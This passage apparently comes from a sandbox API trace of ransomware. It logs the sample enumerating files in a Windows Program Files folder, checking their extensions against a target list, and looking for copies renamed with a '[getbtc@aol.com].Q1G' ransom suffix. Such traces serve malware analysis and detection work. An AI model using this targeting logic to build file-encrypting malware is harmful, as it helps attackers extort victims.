shared\\ink\\hwrusash.dat.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0038.405] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=2592) returned 1 [0038.405] CloseHandle (hObject=0x1b0) returned 1 [0038.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0038.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0038.406] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0038.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0038.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0038.406] lstrlenW (lpString=".doc") returned 4 [0038.406] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.406] lstrlenW (lpString=".docx") returned 5 [0038.406] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0038.406] lstrlenW (lpString=".pdf") returned 4 [0038.406] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.406] lstrlenW (lpString=".xls") returned 4 [0038.406] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.406] lstrlenW (lpString=".xlsx") returned 5 [0038.406] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0038.407] lstrlenW (lpString=".ppt") returned 4 [0038.407] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0038.407] lstrlenW (lpString=".zip") returned 4 [0038.407] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.407] lstrlenW (lpString=".rar") returned 4 [0038.407] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.407] lstrlenW (lpString=".bz2") returned 4 [0038.407] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.407] lstrlenW (lpString=".7z") returned 3 [0038.407] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0038.407] lstrlenW (lpString=".dbf") returned 4 [0038.407] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0038.407] lstrlenW (lpString=".1cd") returned 4 [0038.407] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0038.407] lstrlenW (lpString=".jpg") returned 4 [0038.407] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0038.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0038.407] lstrlenW (lpString=".doc") returned 4 [0038.407] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.407] lstrlenW (lpString=".docx") returned 5 [0038.407] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0038.407] lstrlenW (lpString=".pdf") returned 4 [0038.407] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.407] lstrlenW (lpString=".xls") returned 4 [0038.407] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.407] lstrlenW (lpString=".xlsx") returned 5 [0038.407] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0038.407] lstrlenW (lpString=".ppt") returned 4 [0038.407] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0038.408] lstrlenW (lpString=".zip") returned 4 [0038.408] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.408] lstrlenW (lpString=".rar") returned 4 [0038.408] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.408] lstrlenW (lpString=".bz2") returned 4 [0038.408] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.408] lstrlenW (lpString=".7z") returned 3 [0038.408] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0038.408] lstrlenW (lpString=".dbf") returned 4 [0038.408] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0038.408] lstrlenW (lpString=".1cd") returned 4 [0038.408] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0038.408] lstrlenW (lpString=".jpg") returned 4 [0038.408] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.408] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0038.408] lstrlenW (lpString="ipschs.xml") returned 10 [0038.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0038.409] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=2462) returned 1 [0038.409] CloseHandle (hObject=0x1b0) returned 1 [0038.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0038.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0038.409] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0038.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0038.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0038.409] lstrlenW (lpString=".doc") returned 4 [0038.409] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.409] lstrlenW (lpString=".docx") returned 5 [0038.409] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0038.409] lstrlenW (lpString=".pdf") returned 4 [0038.409] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.409] lstrlenW (lpString=".xls") returned 4 [0038.409] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.409] lstrlenW (lpString=".xlsx") returned 5 [0038.409] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0038.409] lstrlenW (lpString=".ppt") returned 4 [0038.409] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0038.409] lstrlenW (lpString=".zip") returned 4 [0038.409] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.409] lstrlenW (lpString=".rar") returned 4 [0038.409] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.409] lstrlenW (lpString=".bz2") returned 4 [0038.409] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.410] lstrlenW (lpString=".7z") returned 3 [0038.410] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0038.410] lstrlenW (lpString=".dbf") returned 4 [0038.410] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0038.410] lstrlenW (lpString=".1cd") returned 4 [0038.410] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0038.410] lstrlenW (lpString=".jpg") returned 4 [0038.410] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0038.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0038.410] lstrlenW (lpString=".doc") returned 4 [0038.410] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.410] lstrlenW (lpString=".docx") returned 5 [0038.410] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0038.410] lstrlenW (lpString=".pdf") returned 4 [0038.410] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.410] lstrlenW (lpString=".xls") returned 4 [0038.410] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.410] lstrlenW (lpString=".xlsx") returned 5 [0038.410] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0038.410] lstrlenW (lpString=".ppt") returned 4 [0038.410] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0038.410] lstrlenW (lpString=".zip") returned 4 [0038.410] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.410] lstrlenW (lpString=".rar") returned 4 [0038.410] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.410] lstrlenW (lpString=".bz2") returned 4 [0038.410] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.410] lstrlenW (lpString=".7z") returned 3 [0038.410] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0038.411] lstrlenW (lpString=".dbf") returned 4 [0038.411] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0038.411] lstrlenW (lpString=".1cd") returned 4 [0038.411] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0038.411] lstrlenW (lpString=".jpg") returned 4 [0038.411] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.411] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0038.411] lstrlenW (lpString="ipscht.xml") returned 10 [0038.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0039.119] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=2436) returned 1 [0039.119] CloseHandle (hObject=0x1c4) returned 1 [0039.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0039.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0039.120] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0039.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0039.120] lstrlenW (lpString=".doc") returned 4 [0039.120] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.120] lstrlenW (lpString=".docx") returned 5 [0039.120] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0039.120] lstrlenW (lpString=".pdf") returned 4 [0039.120] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.120] lstrlenW (lpString=".xls") returned 4 [0039.120] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.120] lstrlenW (lpString=".xlsx") returned 5 [0039.120] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0039.120] lstrlenW (lpString=".ppt") returned 4 [0039.120] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0039.120] lstrlenW (lpString=".zip") returned 4 [0039.120] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.120] lstrlenW (lpString=".rar") returned 4 [0039.120] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.120] lstrlenW (lpString=".bz2") returned 4 [0039.120] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.120] lstrlenW (lpString=".7z") returned 3 [0039.120] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0039.120] lstrlenW (lpString=".dbf") returned 4 [0039.120] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0039.120] lstrlenW (lpString=".1cd") returned 4 [0039.120] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0039.121] lstrlenW (lpString=".jpg") returned 4 [0039.121] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0039.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0039.121] lstrlenW (lpString=".doc") returned 4 [0039.121] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.121] lstrlenW (lpString=".docx") returned 5 [0039.121] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0039.121] lstrlenW (lpString=".pdf") returned 4 [0039.121] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.121] lstrlenW (lpString=".xls") returned 4 [0039.121] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.121] lstrlenW (lpString=".xlsx") returned 5 [0039.121] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0039.121] lstrlenW (lpString=".ppt") returned 4 [0039.121] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0039.121] lstrlenW (lpString=".zip") returned 4 [0039.121] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.121] lstrlenW (lpString=".rar") returned 4 [0039.121] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.121] lstrlenW (lpString=".bz2") returned 4 [0039.121] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.121] lstrlenW (lpString=".7z") returned 3 [0039.121] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0039.121] lstrlenW (lpString=".dbf") returned 4 [0039.121] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0039.121] lstrlenW (lpString=".1cd") returned 4 [0039.121] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0039.121] lstrlenW (lpString=".jpg") returned 4 [0039.122] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.130] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0039.131] lstrlenW (lpString="ipsdeu.xml") returned 10 [0039.131] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0039.131] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=2616) returned 1 [0039.131] CloseHandle (hObject=0x190) returned 1 [0039.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0039.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0039.131] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0039.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0039.131] lstrlenW (lpString=".doc") returned 4 [0039.131] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.131] lstrlenW (lpString=".docx") returned 5 [0039.131] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0039.131] lstrlenW (lpString=".pdf") returned 4 [0039.132] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.132] lstrlenW (lpString=".xls") returned 4 [0039.132] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.132] lstrlenW (lpString=".xlsx") returned 5 [0039.132] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0039.132] lstrlenW (lpString=".ppt") returned 4 [0039.132] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0039.132] lstrlenW (lpString=".zip") returned 4 [0039.132] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.132] lstrlenW (lpString=".rar") returned 4 [0039.132] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.132] lstrlenW (lpString=".bz2") returned 4 [0039.132] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.132] lstrlenW (lpString=".7z") returned 3 [0039.132] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0039.132] lstrlenW (lpString=".dbf") returned 4 [0039.132] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0039.132] lstrlenW (lpString=".1cd") returned 4 [0039.132] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0039.132] lstrlenW (lpString=".jpg") returned 4 [0039.132] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0039.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0039.132] lstrlenW (lpString=".doc") returned 4 [0039.132] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.132] lstrlenW (lpString=".docx") returned 5 [0039.132] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0039.132] lstrlenW (lpString=".pdf") returned 4 [0039.133] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.133] lstrlenW (lpString=".xls") returned 4 [0039.133] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.133] lstrlenW (lpString=".xlsx") returned 5 [0039.133] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0039.133] lstrlenW (lpString=".ppt") returned 4 [0039.133] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0039.133] lstrlenW (lpString=".zip") returned 4 [0039.133] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.133] lstrlenW (lpString=".rar") returned 4 [0039.133] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.133] lstrlenW (lpString=".bz2") returned 4 [0039.133] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.133] lstrlenW (lpString=".7z") returned 3 [0039.133] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0039.133] lstrlenW (lpString=".dbf") returned 4 [0039.133] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0039.133] lstrlenW (lpString=".1cd") returned 4 [0039.133] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0039.133] lstrlenW (lpString=".jpg") returned 4 [0039.133] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.133] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0039.133] lstrlenW (lpString="ipsen.xml") returned 9 [0039.133] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0039.334] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=2578) returned 1 [0039.334] CloseHandle (hObject=0x190) returned 1 [0039.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0039.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0039.334] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0039.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0039.334] lstrlenW (lpString=".doc") returned 4 [0039.334] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.334] lstrlenW (lpString=".docx") returned 5 [0039.334] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0039.334] lstrlenW (lpString=".pdf") returned 4 [0039.334] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.334] lstrlenW (lpString=".xls") returned 4 [0039.334] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.334] lstrlenW (lpString=".xlsx") returned 5 [0039.334] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0039.334] lstrlenW (lpString=".ppt") returned 4 [0039.334] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0039.334] lstrlenW (lpString=".zip") returned 4 [0039.334] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.335] lstrlenW (lpString=".rar") returned 4 [0039.335] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.335] lstrlenW (lpString=".bz2") returned 4 [0039.335] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.335] lstrlenW (lpString=".7z") returned 3 [0039.335] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0039.335] lstrlenW (lpString=".dbf") returned 4 [0039.335] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0039.335] lstrlenW (lpString=".1cd") returned 4 [0039.335] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0039.335] lstrlenW (lpString=".jpg") returned 4 [0039.335] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0039.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0039.335] lstrlenW (lpString=".doc") returned 4 [0039.335] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.335] lstrlenW (lpString=".docx") returned 5 [0039.335] lstrcmpiW (lpString1=".docx", 